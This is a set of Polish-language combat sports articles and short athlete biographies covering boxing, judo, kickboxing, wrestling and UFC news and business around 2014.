Pojawiły się wątpliwości, czy Alvarez stanie w ringu 2 maja. Wynikają one z faktu, że w tym samym terminie miałoby dojść do rywalizacji Floyda Mayweathera Jr z Mannym Pacquiao. Sam Canelo jest bardzo zdeterminowany, aby pojawić się w ringu 2 maja. Szef grupy Golden Boys Promotions, Oscar de La Hoya głęboko wierzy, że tak będzie. Na pewno te dwa pojedynki nie znajdą się w jednej karcie gali. Warto zaznaczyć,  że rywalizacja Moneya i Pacmana nadal stoi pod znakiem zapytania. Z kolei Canelo ma już termin, lecz czeka na rywala. Czy będzie nim Cotto?

Negocjacje trwają. Cotto z pewnością jest jednym z najbardziej wymagających rywali dla Alvareza. Obaj pięściarze mogliby stworzyć ciekawe widowisko, gdyż walczą widowiskowo i co najważniejsze – prezentują boks z najwyższej półki. Za Alvarezem nadal ciągnie się porażka w rywalizacji z Mayweatherem. W 2013 roku walka Moneya z Canelo była prawdziwym show. Alvarez chce wrócić na szczyt, a najlepszą okazją do tego jest pojedynek z takim rywalem jak Cotto. Portorykańczyk  jest utytułowanym bokserem. Wielokrotny mistrz kilku kategorii wagowych, obecnie posiada pas WBC wagi średniej. Do historii przejdzie jego rywalizacja z Sergio Martinezem i walki z Antonio Margarito. Czy grzeczny Alvarez jest w stanie powstrzymać Cotto? Wydaje się, że Canelo rozdaje karty, bo on chce stoczyć ten pojedynek. Cotto jest spokojny i pewny siebie, ma przewagę doświadczenia. W tym wszystkim na pierwszym plan przebija się jedno nazwisko. Mayweather. Cały bokser choruje na Moneya. Alvarez chciałby jeszcze raz stanąć w ringu z Moneyem, podobne pragnienie ma Cotto. Z kim 2 maja przyjdzie stanąć w ringu  Alvarezowi? Czy Cotto skusi się na rywalizację z Canelo?

KM 

Judo: Fighter Tbillisi i JSV Speyer na mistrzowskim tronie

W holenderskim Hoofddorp odbyły się Klubowe Mistrzostwa Europy, w których triumfy święciły ekipy z Gruzji i Niemiec. Wśród panów najlepszy okazał się Fighter Tbillisi, w rywalizacji pań triumf przypadł JSV Speyer.

W finale zespół z Tbillisi spotkał się z holenderską ekipą – Kenamju Haarlem i wygrał pewnie 4:1. Brązowe medale trafiły do judoków Sportingu Lizbona i Crveny Zvezdy Belgrad.  Wśród pań JSV Speyer rywalizował ze szwajcarską drużyną Judo Klub Cortaillod. Kenamju Haarlem i Sainte Genevieve Sports wywalczyły brązowe medale. Medaliści KME wezmą udział w przyszłorocznej edycji Złotej Ligi.

W Hoofddorp zobaczyliśmy jedną Polkę – Agatę Ozdobę, która reprezentowała barwy BBSK Istambuł. Drużyna naszej judoczki była o krok od medalu. W rywalizacji o brązowy medal BBSK przegrał w stosunku 2:3 z Sainte Genevieve Sports z Francji.

Radości z triumfu drużyny z Tbillisi nie krył wiceprezes Gruzińskiej Federacji Judo Mamuka Kiziashvili: – Nasze wyniki są fantastyczne. Chciałbym podkreślić świetne występy dwóch zawodników. Są Zebeda Rekhviashvili i Awtandil Czrikiszwili, którzy zaprezentowali się fantastycznie. W przyszłym roku Fighter weźmie udział w rywalizacji w Złotej Lidze, gdzie będzie jednym z faworytów.

Dla JSV Speyer triumf w Klubowych Mistrzostwach Europy to ogromny sukces. Niemiecki zespół po raz pierwszy dokonał tej sztuki. Na fali radości trener zespołu Nadine Lauteuschlafer powiedział, że za rok w Złotej Lidze jego zespół również będzie walczył o triumf. Awans do turnieju Złotej Ligi i rywalizacja w niej wielu pobudza do ciężkiej pracy, a także rozbudza marzenia o triumfie i glorii chwały. Trener drużyny kobiet Kenamju Haarlem Benito Maij cieszył się z brązu w KME, ale już myślami wybiegał w przyszłość. – Nie mogę się doczekać Złotej Ligi w przyszłym roku, ale najpierw chcemy uczcić nasz dzisiejszy sukces.

Turniej Złotej Ligi po raz pierwszy w historii odbył się w miniony weekend w Samarze. Pierwszymi triumfatorami zostały zespoły: Galatasaray Stambuł wśród pań, u panów zwyciężył zespół Jawary-Newy Sankt Petersburg. Turczynki na swojej drodze trafiły na dwie ekipy z Francji. Najpierw Galatasaray rozprawiło się z RSC Campigny (3:2),a w półfinale rozbiło JC Pontault Combault (5:0). Zespół z Turcji w finale zmierzył się z włoską ekipą Fiamme Gialle Roma i zwyciężył 3:2. Wszystkie trzy pojedynki wygrała gwiazda Galatasaray Majlinda Kelmendi. – Spodziewałyśmy się, że zdobędziemy medal, ale nie myślałyśmy, że uda nam się wygrać – powiedziała zawodniczka z Kosowa.

Ekipa z Sankt –Petersburga na swojej drodze do zwycięstwa nie napotkała większych problemów. Sam wynik finału – 5:0 pokazuje jak mocna jest rosyjska ekipa. – Trudno znaleźć słowa, aby wyrazić uczucia nam towarzyszące – mówił po zawodach szkoleniowiec Jawary Newy Witalij Makarow.

Złota Liga zaprezentowała odpowiedni poziom organizacyjnie i sportowo. W przyszłym roku na tatami zobaczymy triumfatorów tegorocznych Klubowych Mistrzostw Europy. Prezydent  Europejskiej Federacji Judo Sergey Soloveychik był pod wrażeniem efektów rywalizacji w zawodach Złotej Ligi. – Mieliśmy najlepsze drużyny tutaj na tatami w Samarze.

KM

Parcheta uległ Anglikowi

Podczas gali z cyklu Topking World Series w  Hong Kongu swój pojedynek stoczył Marcin Parcheta. Polski fighter przegrał z Anglikiem Rece’m McAllister’em.

Parcheta toczył pojedynek na poziomie ćwierćfinału, do którego awansował podczas poprzedniej gali w Paryżu. W listopadzie Polak okazał się lepszy od Aziza Hlali. W tamtym pojedynku Parcheta nie pozostawił złudzeń, kto jest lepszy. Nasz kickbokser znokautował kolanem swojego rywala i uzyskał awans do ćwierćfinału. Z kolei Recee McAllister w Paryżu pokonał Circe'a Boussoukou'a. Mający za sobą występy w organizacji Glory Anglik rozstrzygnął pojedynek już w pierwszej rundzie.

Tym samym Parcheta znalazł się w najlepszej szesnastce, jednak na tym etapie zakończyła się jego rywalizacja. Doświadczony McAllister szybko zakończył pojedynek. Już w pierwszej rundzie Anglik pokonał Parchetę i uzyskał awans do półfinału. Warto zaznaczyć, że tylko pojedynek polskiego fightera zakończył się przez KO. W trzech pozostałych walkach o wynikach decydowali sędziowie. Marat Grigorian pokonał Eisę Alamda Nezama, Khayal Dzhaniev okazał się lepszy od Niclasa R. Larsena, Buakaw Banchamek zwyciężył w rywalizacji z Dmytro Konstantynovem.

Niestety, polski fighter na poziomie ćwierćfinału pożegnał się z rywalizacją Topking Wolrd Series. Szkoda. Marcin Parcheta jest naszą wizytówką na świecie. Zawodnik występuje na licznych galach i walczy z najlepszymi fighterami na świecie. W Polsce Parcheta jest dość anonimowy. Ostatnio większe audytorium usłyszało o nim w kontekście jego występu na gali KSW. W Szczecinie zawodnik kickboxingu okazał się lepszy od boksera Rafała Jackiewicza. Mimo walki w KSW Parcheta nadal kontynuuje swoją przygodę z kickboxingiem. Ma mocne nazwisko, a przede wszystkim wielkie umiejętności, które predysponują go do występów na światowym poziomie i rywalizacji z topowymi zawodnikami.

Parcheta jest jednym z najbardziej utytułowanych kickbokserów w Polsce. W swojej kolekcji ma ponad trzydzieści medali. W jego przypadku należy zastanowić się nad kwestią, a być może koniecznością umiejętności eksponowania takiej osobowości. Nie ukrywajmy – to jest gwiazda. Tak jak i Wojtek Kosowski czy Michał Głogowski. Dlaczego o przypadku Parchety większe audytorium usłyszało dopiero w kontekście KSW? Oczywiście, dla fanów kickboxingu ów fighter jest gwiazdą, ale w kraju jest nadal anonimowy. Sam fakt, że zawodnik jeździ po świecie i walczy z najlepszymi, ba –  wygrywa, jest w czołówce – jest godny uwagi.

W Hong Kongu Parcheta poległ. Doświadczony Anglik okazał się lepszy i zwyciężył. Jednakże ranga zawodów, w których Parcheta bierze udział nie jest dostępna dla wszystkich. Jeśli świat ceni Parchetę to i my powinniśmy to zrobić. Czy po raz kolejny zobaczymy go na KSW? Czy zniknie ze świadomości społecznej na dłużej? Kwestią fundamentalną jest to, co tak naprawdę jest najważniejsze. Nazwisko, umiejętności, medialność, marketing?

KM

Zygmunt Chychła

Polski bokser urodzony 5 listopada 1926 roku w Gdańsku zmarł w26 września 2009 roku w Hamburgu.  Treningi rozpoczął w wieku 13 lat w polskim klubie Gedania. Po rozpoczęciu wojny został pozbawiony gdańskiego obywatelstwa przez władze Niemieckie, a w 1944 roku przymusowo wcielony do Wehrmachtu. Zdezerterował we Francji, po czym trafił do 2 korpusu Polskiego gen. Andersa we Włoszech. Do Polski wrócił w 1946 roku. W 1947 roku zadebiutował w reprezentacji polski u Feliska Stamma. Rok później pojechał na Igrzyska Olimpijskie do Londynu gdzie dotarł do ćwierćfinału. W 1951 roku zdobył Mistrzostwo Europy w Mediolanie.  Na kolejnej Olimpiadzie w 1952 roku, która odbywała się w Helsinkach, Zygmunt Chychła zdobył złoty medal. W finałowej walce pokonał reprezentanta ZSRR Siergieja Szczerbakowa. W drodze do finału pokonał mistrza olimpijskiego z Londynu, reprezentanta Czechosłowacji Juliusa Tormę.  Po powrocie z Olimpiady, Zygmunt dowiedział się o swojej chorobie na gruźlicę. Postanowił wycofać się ze sportu, jednak polskie władze sportowe nie chcąc aby zabrakło go na Mistrzostwach Europy w Warszawie w 1953 roku, wprowadziły go w błąd twierdząc, że choroba się cofnęła. Zygmunt wystartował w turnieju i zdobył złoty medal. W skutek braku leczenia choroba się rozwinęła, powodując sporą jamę w płucach. W 1953 roku zakończył sportową karierę a w roku 1972 wyemigrował do Niemiec.  Dla reprezentacji polski wystąpił 17 razy . 15 walk wygrał i 2 przegrał. Łącznie stoczył 263 walki, 241 wygrał, 10 zremisował i 12 przegrał. W 2003 roku został uhonorowany przez Radę Miasta Gdańsk tytułem Honorowego Obywatela Miasta. 

Holm chce pokonać Rousey

W lipcu pojawiła się oficjalna informacja o podpisaniu kontraktu przez Holly Holm z organizacją UFC. Zawodniczka mieszanych sztuk walki, która ma za sobą karierę w boksie i kocikboxingu miała zadebiutować pod nowym sztandarem na UFC 181 w pojedynku z Raquel Pennington, jednak do starcia nie doszło.

Debiut  Holm w UFC uniemożliwiła kontuzja. Zawodnika musiała zrezygnować z pojedynku z Pennington z powodu wypadnięcia dysku. Sama Holm nie kryła rozczarowania w związku z tym faktem, ale rzecz jasna – zdrowie jest najważniejsze. Kariera zawodniczki nigdy nie obfitowała w kontuzje. Dopiero w ostatnim czasie Holm zaczęły przytrafiać się problemy zdrowotne – wspomniany dysk oraz złamana ręka. 33-letnia Amerykanka nie narzeka na swoje przypadłości. – Staram się stopniowo wracać do zdrowia i nie frustrować za bardzo. Jestem bardzo aktywną zawodniczką.

Fani mieszanych sztuk walki bacznie obserwują sytuację Holm, gdyż z niecierpliwością oczekują jej debiutu w UFC.  Nie ma się, co dziwić, gdyż 33-latka ma ogromny potencjał, wielkie umiejętności i co w tym wypadku należy również podkreślić – jest urodziwą kobietą. W UFC chodzi o show i skupienie uwagi publiczności, a jej męską część z pewnością marzy o zobaczeniu w akcji pięknej Holm. Sama zawodniczka ma świadomość swojego stanu zdrowia i stopniowo dochodzi do pełnej dyspozycji. Powoli pojawiają się w jej głowie myśli na temat debiutu w organizacji UFC, z którą to podpisała kontrakt na pięć walk. Do pojedynku z Raquel Pennington Holm przygotowywała się bardzo intensywnie i była już na końcowym etapie, jednak przytrafiła się jej kontuzja, która uniemożliwiła jej rozpoczęcie nowej przygody. Sama Holm podkreśla, że nie myśli o tym i skupia się na kolejnym pojedynku.

Bardzo prawdopodobne, że walcząca w kategorii koguciej zawodniczka zadebiutuje w UFC na przełomie lutego i marca. Co do rywalki, w tej kwestii nie zapadły jeszcze żadne ustalenia. Holm chce wrócić i zadebiutować w UFC, ale jej plany wybiegają znacznie dalej. Ambicją 33-latki jest walka o najwyższe cele. Holm nie wyklucza rywalizacji z Rondą Rousey, której umiejętności ceni bardzo wysoko. – Nie mam wątpliwości, co do tego,  że obecnie jest to najtwardsza zawodniczka w UFC. Każdego można pokonać. Chcę mieć tą możliwość, aby się z nią zmierzyć – powiedziała była bokserka.

Holm dochodzi do pełnej dyspozycji i czeka na debiut w UFC. Kontrakt podpisany na pięć walk. Tylko od niej zależy, czy stanie się nową gwiazdą organizacji i zagrozi idącej jak burza Rousey. Czy Holm będzie  miała wejście smoka? Kiedy włodarze UFC zdecydują się na pojedynek Holm –Rousey? To kwestia przyszłości. Najpierw Holm musi w pełni sił zadebiutować w UFC i przede wszystkim wygrać, a dopiero potem przyjdzie czas na rywalizację z tą najtwardszą.

KM

Fury mierzy wysoko

Obóz Władimira Kliczko prowadzi negocjacje na temat walki z Bryantem Jenningsem, do której prawdopodobnie dojdzie w kwietniu 2015 roku. Do rywalizacji o najwyższe cele chce przystąpić kolejny gracz. Niezwykle pewny siebie Tyson Fury.

Pretendent do tytułu mistrza świata federacji WBO wagi ciężkiej ma ambitne plany i chce wejść na samym szczyt bokserskiej hierarchii. Jednakże jak ogłosił promotor pięściarza, Frank Warren, Fury kolejną walkę stoczy 28 lutego w Londynie. Nazwisko rywala nie jest jeszcze znane. Fury myślami wybiega w przyszłość i otwarcie mówi o chęci spotkania się między linami z Władimirem Kliczko. Co więcej, czołowy bokser wagi ciężkiej jasno przedstawia swój cel – wygrana z Ukraińcem i unifikacja wszystkich pasów w walce ze zwycięzcą pojedynku Deontay Wilder vs Bermane Stiverne.

Plan Fury’ego jest ambitny. Bokser chce odebrać Kliczce cztery pasy – WBO/WBA/IBO/IBF i dołożyć do nich kolejny – WBC. Kwestią fundamentalną jest fakt, że najpierw musi dojść do rywalizacji z Ukraińcem. Jak się okazuje obóz Fury’ego wysłał do Kliczki zapytanie, czy pojedynek nie mógłby się odbyć w marcu. Pytanie pozostawione bez odpowiedzi. Kliczko prowadzi zaawansowane rozmowy na temat walki z Bryantem Jenningsem i wszystko wskazuje na to, że Ukrainiec będzie rywalizował z Amerykaninem w kwietniu. Sam fakt, że Fury ma zaplanowaną walkę na luty, a rywalizować z mistrzem świata WBO/WBA/IBO/IBF chciałby w marcu wygląda coś niepokojąco, a przede wszystkim niepoważnie.

Sam Fury już rozpoczął kampanię medialną i stara się zdyskredytować Ukraińca twierdzeniem, że ten unika starcia z nim. – Dawno temu powiedziałem, że nie wierzę, iż Władimir Kliczko będzie chciał ze mną walczyć. Jeśli nagle zechce się ze mną zmierzyć, to stanie się jakiś cud. Nie interesuje mnie to, co mówią jego promotorzy. Patrzyłem w jego oczy i widziałem w nich strach – powiedział Fury. Brytyjczyk w swoich wypowiedziach jest bardzo pewny siebie i wprost mówi o tym, że jest faworytem rywalizacji z Kliczko. Fury wie, że w przypadku pojedynku z Ukraińcem znokautowałby go. – On jest już stary i szybko się męczy, dlatego jestem przekonany, że go znokautuję.

Fury podkreśla, że najlepiej, gdyby walka z Ukraińcem odbyła się w Wielkiej Brytanii. Kolejnym krokiem miałaby być unifikacja pasów w rywalizacji ze Stivernem bądź Wilderem. Po wykonaniu założonego planu Fury chciałby stoczyć jeszcze dwie walki w obronie pasów, a potem odpocząć od boksu.

Pewność siebie, samouwielbienie, bezpretensjonalność. Fury prezentuje postawę roszczącą względem Kliczko i liczy na walkę z Ukraińcem. Sam Brytyjczyk mówi, że nie jest cierpliwy. A cierpliwość to cenna cecha. Skoro ma już plan to niech zacznie go realizować. Kolejny brytyjski bokser głośno mówi o swoich aspiracjach i swojej wyjątkowości. Haye’owi się nie udało, czy Fury ma szansę? Wszystko wskazuje na to, że musi być cierpliwy. Kliczko ma inne plany, ale Fury chyba tego nie uwzględnił.

KM

Povetkin – Perez o wysoką stawkę?

Konfrontacja Alexandra Povetkina z Mikem Perezem może mieć szczególne znaczenie. Zwycięzca pojedynku stanie przed szansą walki o wysoką stawkę.

Federacja ogłosiła, że starcie pomiędzy Povetkinem, a Perezem będzie miało status finałowego eliminatora WBC. Zwycięzca stanie przed szansą walki o pas WBC wagi ciężkiej. 17 stycznia dojdzie do rywalizacji Bermane’a Stiverne’a, który jest obecnym mistrzem i pretendenta Deontaya Wildera. Povetkin bądź Perez – któryś z nich stanie w ringu ze zwycięzcą styczniowego pojedynku.

Cała sytuacja jest dość skomplikowana i tak naprawdę wszystko zależy od Bryanta Jenningsa. Obecnie Amerykanin jest pretendentem do tytułu mistrza świata WBC, jednak pięściarz prowadzi zaawansowane negocjacje na temat walki z czempionem WBO/IBO/WBA/IBF Władimirem Kliczko. Starcie Jenningsa z Ukraińcem miałoby się odbyć w kwietniu. Jeśli strony doszłyby do porozumienia w sprawie walki to Amerykanin automatycznie straciłby status pretendenta do tytułu WBC. Tym samym otworzyłaby się szansa przed Povetkinem i Perezem. Wtedy federacja WBC mogłaby uruchomić procedurą do organizacji finałowego eliminatora WBC.

Ciężar takiej rywalizacji byłby zupełnie inny. Dla Pereza otworzyłby się kolejne drzwi i stanąłby przed szansą wejścia na szczyt wagi ciężkiej. Kubańczyk swoją przygodę z boksem zawodowym rozpoczął w 2008 roku.  W 2011 roku wygrał turniej Prizefighter w wadze ciężkiej. O umiejętnościach Pereza i sile jego ciosu przekonał się Magomied Abdusałamow, który w 2013 roku po walce z Kubańczykiem w wyniku licznych obrażeń trafił do szpitala. Czy Povetkin dałby się zaskoczyć młodszemu rywalowi? Perez ma potencjał, jednak Rosjanin ma cenne doświadczenie i walczył już o najwyższe cele.

Historia Povetkina jest bardzo ciekawa, a zwłaszcza historia jego ucieczki przed Władimirem Kliczko. Rosjanin w styczniu 2008 roku pokonał na punkty Eddiego Chambersa i w grudniu miał walczyć z mistrzem z Ukrainy. Bokser z Rosji wycofał się z powodu kontuzji. W marcu 2010 roku Povetkin okazał się lepszy od Javiera Mory i zyskał miano pretendenta do tytułów WBO i IBF, których posiadaczem był Kliczko. Panowie mieli spotkać się w ringu we wrześniu, jednak w lipcu Rosjanin wycofał się.  Ostatecznie do pojedynku Povetkin – Kliczko doszło w październiku 2013 roku. Obawy Rosjanina były słuszne, gdyż przegrał walkę na punkty, przy okazji stracił tytuł mistrza świata WBA. W pojedynku z Kliczko Povetkin czterokrotnie padał na deski. Była to jego pierwsza porażka na zawodowym ringu. Warto dodać, że pas WBA Povetkin zdobył w rywalizacji z Rusłanem Czagajewem w 2011 roku, który był „nieobsadzony”. W swojej karierze Povetkin pokonał polskiego boksera – Andrzeja Wawrzyka. Obecnie pięściarz jest posiadaczem tytułu WBC silver.

Rosjanin ma znacznie bogatszą karierę od Kubańczyka, jednak wszystko zweryfikuje ring. Od decyzji Jenningsa zależy o jaką stawkę będzie toczyła się rywalizacja. Dla Pereza będzie to ogromna szansa na awans sportowy i rozwój, z kolei Povetkin może podjąć próbę powrotu na szczyt. Na szczycie jest Kliczko. Czy Povetkin będzie uciekał? A może Perez pozbawi go marzeń i będzie chciał najpierw zdobyć pas WBC, by potem stanąć do rywalizacji z Ukraińcem. Starcie Povetkin – Perez zapewne będzie rywalizacją o szczególnym znaczeniu. Dla przyszłości – jednego i drugiego.

KM

UFC biednieje

Chytry dwa razy traci. Lepiej raz, a porządnie. Nie ilość, a jakość. Mądrości jest wiele i jak się okazuje czasami należy do nich sięgąć. Czy w czymś pomagają? Tak, pozwalają zastanowić się nad podejmowanymi decyzjami, od których zależy powodzenie działania. Włodarze UFC mają problem. Problem to zbyt duże słowo, może lepiej będzie brzmiało kłopot, a właściwie kłopocik. Liczby mówią wszystko.

Oczywiście, finansowo UFC jest potęgą i jeszcze przez dłuższy czas będzie. Warto zaznaczyć, że mimo to produkt ten stopniowo traci na wartości. Nie tyle na znaczeniu, bo marka jest mocna, ale na wartości. Świetni zawodnicy, wielkie pieniądze, ale ten biznes nie może kręcić się bez widzów, a jak pokazują ostatnie analizy Dave’a Meltzera,  jest z tym coraz gorzej.

Dave Meltzer jest dziennikarzem, który regularnie podaje informacje na temat sprzedanych transmisji PPV z imprez sportowych na terenie USA. Według jego wyliczeń ostatnie gale UFC nie osiągnęły założonych wyników. Na żadną z ostatnich czterech imprez nie sprzedano więcej niż 400 tysięcy transmisji. UFC 181: „Hendricks vs. Lawler przyciągnęło największą uwagę, gdyż zakupiono 380 tysięcy (liczba ta może jeszcze wzrosnąć), UFC 178: „Johnson vs. Cariaso”  to lekko ponad 200 tysięcy. W przedziale 160 – 200 tysięcy znalazły się gale UFC 179: „Aldo vs. Mendes”  i UFC 180: „Werdum vs. Hunt”: Wyniki najdelikatniej mówiąc rozczarowujące.

Obecna sprzedaż PPV jest bez porównania niższa niż choćby rok temu. UFC traci. Głównym powodem takiego stanu rzeczy jest kwestia darmowej transmisji w telewizji FOX i otwarcia innych źródeł dystrybucji. Warto zwrócić również uwagę na fakt, iż gale organizowane są zbyt często. Oczywiście, show must go on, jednak publiczność zwyczajnie nie nadąża za takim tempem i w pewnym momencie mówi stop, dosyć. Ponadto, gale UFC tracą na jakości. Obecnie organizacja skupia się na walce wieczoru i tej, która ją poprzedza. Inne z atrakcyjnością może mają coś wspólnego, ale nazwiska nie zachwycają i często jakościowo nie są to dobre pojedynki. Czy UFC sama sobie szkodzi? Lepiej raz, a porządnie.

Warto zwrócić uwagę na fakt, że żadna z gal UFC zorganizowanych w 2014 roku nie weszła do TOP 20 wszystkich dotychczasowych. Granicą jest 700 tysięcy sprzedanych transmisji PPV. W tym roku największą uwagę przyciągnęła gala UFC 175 „Weidman vs Machida”, na którą sprzedano 545 tysięcy transmisji. Obecnie sprzedaż PPV jest na niskim poziomie.

Z jednej strony zbyt duża częstotliwość gal, z drugiej kolejne kanały dystrybucji. Tak naprawdę o atrakcyjności marki decydują gwiazdy. UFC ma w swoich szeregach mocnych i cenionych fighterów, jednakże nie eksponuje tego wyraźnie. Być może dobrym krokiem jest ekspansja na wschód i ściąganie tamtejszych zawodników, aby wzmocnić wartość i potencjał UFC. Ważne jest, aby karta walk była ciekawsza. UFC czyni dobry ruch szukając nowych nazwisk, ale takich, które coś znaczą. Kolejnym krokiem powinno być stworzenie mocnej karty walk. Takiej gali, którą wszyscy będą długo pamiętali i chętnie zobaczą kolejną. Kto teraz pamięta ostatnią imprezę UFC?

 

KM

Royce Gracie

Brazylijski zawodnik Brazylijskiego Jiu Jitsu oraz MMA. Urodził się 12 grudnia 1966 roku w Rio de Janeiro.  Royce Gracie jest synem Helio Graciego, inicjatora Gracie Jiu Jitsu dzisiaj bardziej znanego pod nazwą Brazylijskiego Jiu Jitsu. Jako dziecko uczył się BJJ wraz ze swoimi braćmi. W wieku 8 lat zaczął startować w zawodach na terenie Brazylii, a w wieku 16 lat nadano mu niebieski pas. Rok później został zaproszony przez swojego przyrodniego brata Roriona do Stanów Zjednoczonych by ten pomógł mu nauczać BJJ w jego nowo założonym klubie.  Royce mimo braku znajomości języka angielskiego zgodził się i zamieszkał w Kalifornii.  W tamtych latach startował w turniejach jiu-jitsu w USA i Brazyli, gdzie osiągnął bilans 53 zwycięstw i 3 porażek. Czarny pas BJJ otrzymał w wieku 18 lat. W roku 1993 powstał turniej zwany Ultimate Fighting Championship.  Royce Gracie wygrał caly turniej pokonując trzech rywali. Później dwukrotnie powtórzył ten sukces wygrywając na UFC 2 i UFC 4 gdzie pokonał wszystkich swoich rywali przez poddanie.  W swojej karierze występował dla takich organizacji jak UFC, PRIDE FC, HERO’S. W 2000 roku stoczył przegrany pojedynek z Kazushim Sakurabą. Walka trwała równe 90 minut i jest uznawana za najdłuższą walkę MMA na świecie. Royce Gracie jest członkiem UFC Hall of Fame.

Dorota Godzina

Polska zawodniczka Kick-Boxingu urodzona 6 lutego 1985 roku w Skarżysko Kamiennej. Swoją przygodę z kick-boxingiem rozpoczęła w 2001 roku po namowie koleżanki, z którą w podstawówce trenowała karate. Na treningi kick-boxingu trafiła do ursynowskiej sekcji K.S Piaseczno pod skrzydła trenera Piotra Siegoczyńskiego. W amatorskiej karierze stoczyła ponad 300 pojedynków. W zawodowej karierze stoczyła dziewięć pojedynków i wszystkie wygrała. 

Największe osiągnięcia Doroty to: 

  • wielokrotna i aktualna Mistrzyni Polski,
  • Brązowa Medalistka Mistrzostw Świata z 2005 roku w formule point-fighting,
  • Aktualna Zawodowa Mistrzyni Świata WAKO PRO w formule Light contact
  • Mistrzyni Europy 2010 w formule Kick light
  • Mistrzyni Świata 2011 w formule Kick light
  • V-ce Mistrzyni Europy 2012 w formule Full contact i Light contact
  • Brązowa medalistka Mistrzostw Świata 2013 Full contact
  • V-ce Mistrzyni Europy 2014 Light contact
  • Zdobywczyni 9 Pucharów Świata
  • Zdobywczyni Pasa zawodowego DSF Kick-Boxing Challenge

 

Andrzej Wroński

Polski zapaśnik urodzony 8 października 1965 roku w Kartuzach.  Andrzej reprezentował barwy klubu GLKS Morena Żukowo w latach 1976-1984, startował w stylu klasycznym w kategorii ciężkiej. Podczas Igrzysk Olimpijskich w Seulu w roku 1988 zdobył złoty medal pokonując w walce finałowej reprezentanta RFN Gerharda Himmelema.  1992 roku na Olimpiadzie w Barcelonie zajął czwarte miejsce. W 1996 roku na Igrzyskach w Atlancie powtórzył swój sukces z Seulu i po raz drugi w karierze zdobył Olimpijskie złoto.  Oprócz zdobytych złotych medali Igrzysk Olimpijskich Andrzej Wroński ma na swoim koncie wiele sukcesów na arenie Międzynarodowej.

Oto kilka z nich:

  • Złoty medal Mistrzostw Świata Tampere 1994 rok,
  • Srebrny medal Mistrzostw Świata Ateny 1999 rok,
  • Brązowy medal Mistrzostw Świata Sztokholm 1993 rok,
  • Brązowy medal Mistrzostw Świata Wrocław 1997 rok,
  • Złoty medal Mistrzostw Europy Oulu 1989 rok,
  • Złoty medal Mistrzostw Europy Kopenhaga 1992 rok,
  • Złoty medal Mistrzostw Europy Ateny 1994 rok,
  • Brązowy medal Mistrzostw Europy Poznań 1990 rok,
  • Brązowy medal Mistrzostw Europy Budapeszt 1996 rok,
  • Piętnastokrotny Mistrz Polski w latach 1988-2000 oraz w 2004 roku.

 

Od września 2008 roku jako instruktor zapasów prowadzi zajęcia w ramach MMA w klubie Akademia Sarmatia w Gdańsku.  20 sierpnia 2011 roku podczas gali „ Wieczór Mistrzów” stoczył pierwszą walkę w formule MMA. Jego rywalem był Paweł Nastula. Andrzej Wroński przegrał ten pojedynek.  Za wybitne osiągnięcia sportowe został odznaczony Orderem Odrodzenia Polski: Krzyżem Kawalerskim w 1988 roku, Krzyżem Oficerskim 1995 roku oraz Krzyżem Komandorskim 1996 rok. 

UFC kontynuuje ekspansję na Wschód

O ekspansji najczęściej mówi się w kontekście wojen, zmian terytorialnych, rozwoju gospodarczego czy technologicznego. UFC dba o swoją markę i wizerunek, dlatego chce mieć u siebie najlepszych fighterów z każdej części świata. Na celowniku znaleźli się Czeczeni: Bislan Isaev i Musa Khamanev.

Mówiąc językiem czysto futbolowym – transfer zawodników do UFC jest już praktycznie zaklepany. Isaev i Khamanev od dłuższego czasu byli obiektami pożądania organizacji braci Fertitta. Czeczeni kontrakty z UFC mają podpisać w lutym. Dla jednego z nich będzie to miły akcent i ukoronowanie bogatej kariery, dla drugiego szansa na zdobycie szczytu.

Bislan Isaev to doświadczony, 31-letni fighter, który w UFC dostanie szansę zaprezentowania swoich wysokich umiejętności. Czeczen jest jednym z najmocniejszych zawodników w rosyjskiej kategorii półśredniej. Ostatnio walczył dla organizacji Absolute Championship Berkut, długo związany był z ProFC. Isaev to zawodnik o ogromnej sile i wielkim potencjale. 31-latek ma na rozkładzie takiego tuza mieszanych sztuk walki jak Alexander Shlemenko. W swojej ostatniej walce z kwitkiem odprawił byłego gwiazdora UFC Cody’ego McKenziego . W organizacji braci Fertitta Czeczen będzie walczył w jednej z dwóch kategorii wagowych: w półśredniej bądź lekkiej.

27-letni Musa Khamanaev imponuje umiejętnościami zapaśniczymi, dodatkowo jest bardzo dynamiczny. Obecnie jest wolnym zawodnikiem, po tym jak nie przedłużył umowy z M-1. Przez dwa lata był posiadaczem mistrzowskiego pasa rosyjskiej organizacji w wadze lekkiej. Khamanaev w swojej karierze pokonał takich rywali jak fenomenalny niemiecki fighter Daniel Weichel, dobrze znanego polskiej publiczności Nikko Puhakkę, Eric Reynolds czy Władimir Nikołajew. 27-letni Czeczen obecnie trenuje indywidualnie i oczekuje na podpisanie kontraktu z UFC.

Amerykańska organizacja kontynuuje swoją ekspansję na tereny postsowieckie. Ciekawostką jest, że UFC odkłada podpisanie umowy z Khamanaevem z powodu zbyt licznej reprezentacji zawodników ze Wschodu w składzie personalnym organizacji. W wadze półśredniej, która jest domeną Isaeva, znajdują się: Omari Akhmedov, Sultan Aliev, Adlan Amagov, Albert Tumenov, Gasan Umalatov, Adam Khaliev i Alexander Yakovlev. Z kolei Khabib Nurmagomedov, Rashid Magomedov, Rustam Khabilov, Mairbek Taisumov to zawodnicy walczący w kategorii lekkiej. Reprezentacja zawodników z terenów postsowieckich obecnie jest pokaźna. UFC stawia na fighterów ze Wschodu, którzy mają wzmocnić organizację. Przede wszystkim są to mocni zawodnicy, którzy nie unikają walki i są gotowi na ostrą rywalizację. Czy Isaev i Khamanaev wzmocnią UFC i staną się nowymi gwiazdami?

Dlaczego UFC stawia na zawodników ze Wschodu? Gdyż są to fighterzy gotowi do walki i rywalizacji na wysokim poziomie, z pełnym przygotowaniem technicznym. Na Wschodzie sporty walki to niemalże religia. UFC wybiera produkty wysokiej marki, czym wzmacnia swoją wartość. Dla Isaeva i Khamanaeva to zawodowy awans, dla UFC dobry interes. Patrząc na zwiększającą się kolonię czeczeńskich fighterów warto zastanowić się nad tym, czy polski zaciąg w najlepszej organizacji mieszanych sztuk walki powiększy się? Ekspansja UFC na wschód trwa.

 

KM